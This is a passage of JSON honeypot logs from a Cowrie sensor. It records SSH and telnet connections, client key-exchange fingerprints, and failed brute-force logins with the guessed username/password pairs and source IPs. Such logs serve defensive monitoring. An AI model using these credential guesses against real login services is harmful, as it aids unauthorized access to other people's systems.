cdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:09:15.273016Z","src_ip":"159.203.92.129","session":"e8b09d2cd9af","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alias","password":"123456789","message":"login attempt [alias/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:09:15.292178Z","src_ip":"159.203.92.129","session":"e8b09d2cd9af","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"138.197.5.236","src_port":51206,"dst_ip":"159.203.135.109","dst_port":23,"session":"5c37e62015e9","protocol":"telnet","message":"New connection: 138.197.5.236:51206 (159.203.135.109:23) [session: 5c37e62015e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:09:16.211910Z"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:09:16.298611Z","src_ip":"159.203.92.129","session":"e8b09d2cd9af","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"138.197.5.236","src_port":52400,"dst_ip":"159.203.135.109","dst_port":23,"session":"2dff079c613d","protocol":"telnet","message":"New connection: 138.197.5.236:52400 (159.203.135.109:23) [session: 2dff079c613d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:09:17.193952Z"}
{"eventid":"cowrie.session.closed","duration":30.70580267906189,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:09:19.373103Z","src_ip":"138.197.5.236","session":"9c1a27eec982","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.507760524749756,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:09:20.136750Z","src_ip":"62.77.140.101","session":"079f531773f3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.77.140.101","src_port":50942,"dst_ip":"159.203.135.109","dst_port":23,"session":"f4fae239b13a","protocol":"telnet","message":"New connection: 62.77.140.101:50942 (159.203.135.109:23) [session: f4fae239b13a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:09:20.927719Z"}
{"eventid":"cowrie.session.connect","src_ip":"119.195.89.96","src_port":56433,"dst_ip":"159.203.135.109","dst_port":22,"session":"84252badd0d1","protocol":"ssh","message":"New connection: 119.195.89.96:56433 (159.203.135.109:22) [session: 84252badd0d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:09:26.150346Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:09:26.155166Z","src_ip":"119.195.89.96","session":"84252badd0d1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:09:26.347297Z","src_ip":"119.195.89.96","session":"84252badd0d1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nagiosuser","password":"nagiosuser","message":"login attempt [nagiosuser/nagiosuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:09:27.147622Z","src_ip":"119.195.89.96","session":"84252badd0d1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.86012601852417,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:09:27.299793Z","src_ip":"138.197.5.236","session":"aaf8967f4c6b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.975053310394287,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:09:28.037201Z","src_ip":"138.197.5.236","session":"095586e2d493","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:09:28.341990Z","src_ip":"119.195.89.96","session":"84252badd0d1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"124.13.124.212","src_port":37108,"dst_ip":"159.203.135.109","dst_port":22,"session":"36fc8c2b579a","protocol":"ssh","message":"New connection: 124.13.124.212:37108 (159.203.135.109:22) [session: 36fc8c2b579a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:09:29.088553Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:09:29.092670Z","src_ip":"124.13.124.212","session":"36fc8c2b579a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:09:29.341138Z","src_ip":"124.13.124.212","session":"36fc8c2b579a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gitolite","password":"test","message":"login attempt [gitolite/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:09:30.369268Z","src_ip":"124.13.124.212","session":"36fc8c2b579a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:09:31.616899Z","src_ip":"124.13.124.212","session":"36fc8c2b579a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"171.244.143.209","src_port":55004,"dst_ip":"10.17.0.5","dst_port":22,"session":"7324c1590336","protocol":"ssh","message":"New connection: 171.244.143.209:55004 (10.17.0.5:22) [session: 7324c1590336]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:09:33.413071Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:09:33.418108Z","src_ip":"171.244.143.209","session":"7324c1590336","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:09:33.662031Z","src_ip":"171.244.143.209","session":"7324c1590336","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Nn123456","message":"login attempt [root/Nn123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:09:34.672048Z","src_ip":"171.244.143.209","session":"7324c1590336","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:09:35.912777Z","src_ip":"171.244.143.209","session":"7324c1590336","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.152.33.170","src_port":59472,"dst_ip":"159.203.135.109","dst_port":23,"session":"e65f88a3a603","protocol":"telnet","message":"New connection: 107.152.33.170:59472 (159.203.135.109:23) [session: e65f88a3a603]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:09:39.280929Z"}
{"eventid":"cowrie.session.closed","duration":31.152724981307983,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:09:47.364484Z","src_ip":"138.197.5.236","session":"5c37e62015e9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.029869079589844,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:09:48.223685Z","src_ip":"138.197.5.236","session":"2dff079c613d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"107.152.33.170","src_port":51094,"dst_ip":"159.203.135.109","dst_port":23,"session":"cf51f9bf3fcb","protocol":"telnet","message":"New connection: 107.152.33.170:51094 (159.203.135.109:23) [session: cf51f9bf3fcb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:09:51.554168Z"}
{"eventid":"cowrie.session.closed","duration":31.145986318588257,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:09:52.073607Z","src_ip":"62.77.140.101","session":"f4fae239b13a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":59272,"dst_ip":"159.203.135.109","dst_port":22,"session":"d40a96d428b9","protocol":"ssh","message":"New connection: 159.203.92.129:59272 (159.203.135.109:22) [session: d40a96d428b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:09:58.465244Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:09:58.470062Z","src_ip":"159.203.92.129","session":"d40a96d428b9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:09:58.474972Z","src_ip":"159.203.92.129","session":"d40a96d428b9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alias","password":"1234567890","message":"login attempt [alias/1234567890] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:09:58.487307Z","src_ip":"159.203.92.129","session":"d40a96d428b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:09:59.493213Z","src_ip":"159.203.92.129","session":"d40a96d428b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.74032211303711,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:10:10.021117Z","src_ip":"107.152.33.170","session":"e65f88a3a603","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"138.197.5.236","src_port":39388,"dst_ip":"159.203.135.109","dst_port":23,"session":"e108b4fe4977","protocol":"telnet","message":"New connection: 138.197.5.236:39388 (159.203.135.109:23) [session: e108b4fe4977]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:10:13.857437Z"}
{"eventid":"cowrie.session.closed","duration":30.93472957611084,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:10:22.488777Z","src_ip":"107.152.33.170","session":"cf51f9bf3fcb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"119.195.89.96","src_port":50058,"dst_ip":"159.203.135.109","dst_port":22,"session":"6c54e865cd0f","protocol":"ssh","message":"New connection: 119.195.89.96:50058 (159.203.135.109:22) [session: 6c54e865cd0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:10:22.744018Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:10:22.749396Z","src_ip":"119.195.89.96","session":"6c54e865cd0f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:10:22.946954Z","src_ip":"119.195.89.96","session":"6c54e865cd0f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test05","password":"test05","message":"login attempt [test05/test05] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:10:23.768255Z","src_ip":"119.195.89.96","session":"6c54e865cd0f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:10:24.969491Z","src_ip":"119.195.89.96","session":"6c54e865cd0f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.77.140.101","src_port":44672,"dst_ip":"159.203.135.109","dst_port":23,"session":"b579e315b785","protocol":"telnet","message":"New connection: 62.77.140.101:44672 (159.203.135.109:23) [session: b579e315b785]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:10:28.317894Z"}
{"eventid":"cowrie.session.connect","src_ip":"124.13.124.212","src_port":54624,"dst_ip":"159.203.135.109","dst_port":22,"session":"022fb6a82f6d","protocol":"ssh","message":"New connection: 124.13.124.212:54624 (159.203.135.109:22) [session: 022fb6a82f6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:10:31.473462Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:10:31.477751Z","src_ip":"124.13.124.212","session":"022fb6a82f6d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:10:31.716997Z","src_ip":"124.13.124.212","session":"022fb6a82f6d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user2","password":"123","message":"login attempt [user2/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:10:32.712341Z","src_ip":"124.13.124.212","session":"022fb6a82f6d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:10:33.954991Z","src_ip":"124.13.124.212","session":"022fb6a82f6d","protocol":"ssh"}
